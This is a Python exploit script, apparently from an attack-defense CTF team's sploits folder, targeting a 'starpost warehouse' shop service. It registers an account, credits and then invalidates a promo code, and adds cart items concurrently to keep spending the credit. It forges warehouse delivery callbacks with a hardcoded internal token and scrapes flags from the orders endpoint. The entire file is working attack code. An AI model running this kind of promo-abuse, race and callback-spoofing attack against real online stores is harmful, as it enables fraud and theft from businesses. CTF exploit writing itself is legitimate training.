Files
go-ctf/sploits/starpost_warehouse.py
T

240 lines
8.4 KiB
Python
Executable File

#!/usr/bin/env python3
from __future__ import annotations
import concurrent.futures
import json
import re
import secrets
import sys
import time
from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
REQUEST_TIMEOUT = 1.5
TOTAL_TIMEOUT = 8.5
MAX_RESPONSE = 512 * 1024
MAX_PRODUCTS = 5
MAX_WORKERS = 8
GET_RETRIES = 1
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
def build_base_url(target: str) -> str:
raw = target.strip()
if not raw:
raise ValueError("empty target")
if "://" not in raw:
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
raw = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target must not include query or fragment")
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request(
base: str,
path: str,
method: str = "GET",
payload=None,
cookie: str | None = None,
warehouse=False,
deadline: float | None = None,
):
body = json.dumps(payload).encode() if payload is not None else None
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = f"session={cookie}"
if warehouse:
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
attempts = GET_RETRIES + 1 if method == "GET" else 1
for attempt in range(attempts):
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("overall deadline exceeded")
req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, data, response.headers
except HTTPError as exc:
data = exc.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
continue
return exc.code, data, exc.headers
except (URLError, TimeoutError, OSError):
if attempt + 1 >= attempts:
raise
raise TimeoutError("request attempts exhausted")
def register_buyer(base: str, deadline: float) -> str:
marker = secrets.token_hex(8)
status, _, headers = request(
base,
"/api/register",
method="POST",
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
deadline=deadline,
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
jar = SimpleCookie()
jar.load(headers.get("Set-Cookie", ""))
if "session" not in jar:
raise ValueError("registration did not issue a session cookie")
return jar["session"].value
def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
return status == 200
def invalidate(base: str, cookie: str, code: str, deadline: float) -> bool:
status, _, _ = request(
base, "/api/promo/invalidate", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline
)
return status == 200
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
status, _, _ = request(
base,
"/api/cart",
method="POST",
payload={"product_id": product_id},
cookie=cookie,
deadline=deadline,
)
return status == 201
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
if status != 201:
return []
data = json.loads(raw)
orders = data.get("orders") if isinstance(data, dict) else None
if not isinstance(orders, list):
return []
order_ids = []
for order in orders:
try:
order_ids.append(int(order["id"]))
except (KeyError, TypeError, ValueError):
continue
return order_ids
def deliver(base: str, order_id: int, deadline: float) -> bool:
status, _, _ = request(
base,
"/api/warehouse/callback",
method="POST",
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
warehouse=True,
deadline=deadline,
)
return status == 200
def run_exploit(target: str) -> str:
deadline = time.monotonic() + TOTAL_TIMEOUT
base = build_base_url(target)
cookie = register_buyer(base, deadline)
status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
if status != 200:
raise ValueError(f"account endpoint returned HTTP {status}")
account = json.loads(raw)
promo = account.get("promo") if isinstance(account, dict) else None
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
raise ValueError("promo code missing")
status, raw, _ = request(base, "/api/products", deadline=deadline)
if status != 200:
raise ValueError(f"products endpoint returned HTTP {status}")
products = json.loads(raw)
selected = []
total = 0
budget = 200
for product in products if isinstance(products, list) else []:
try:
product_id = int(product["id"])
price = int(product["price"])
except (KeyError, TypeError, ValueError):
continue
if total + price > budget:
continue
selected.append(product_id)
total += price
if len(selected) >= MAX_PRODUCTS:
break
if not selected:
return ""
if not credit(base, cookie, promo["code"], deadline):
raise ValueError("promo crediting failed")
if not invalidate(base, cookie, promo["code"], deadline):
raise ValueError("promo invalidation failed")
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
if added == 0:
return ""
order_ids = checkout(base, cookie, deadline)
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
if status != 200:
raise ValueError(f"orders endpoint returned HTTP {status}")
print(
f"credited once, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
file=sys.stderr,
)
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
return b"\n".join(candidates).decode("ascii")
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
output = run_exploit(sys.argv[1])
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
if output:
print(output, flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())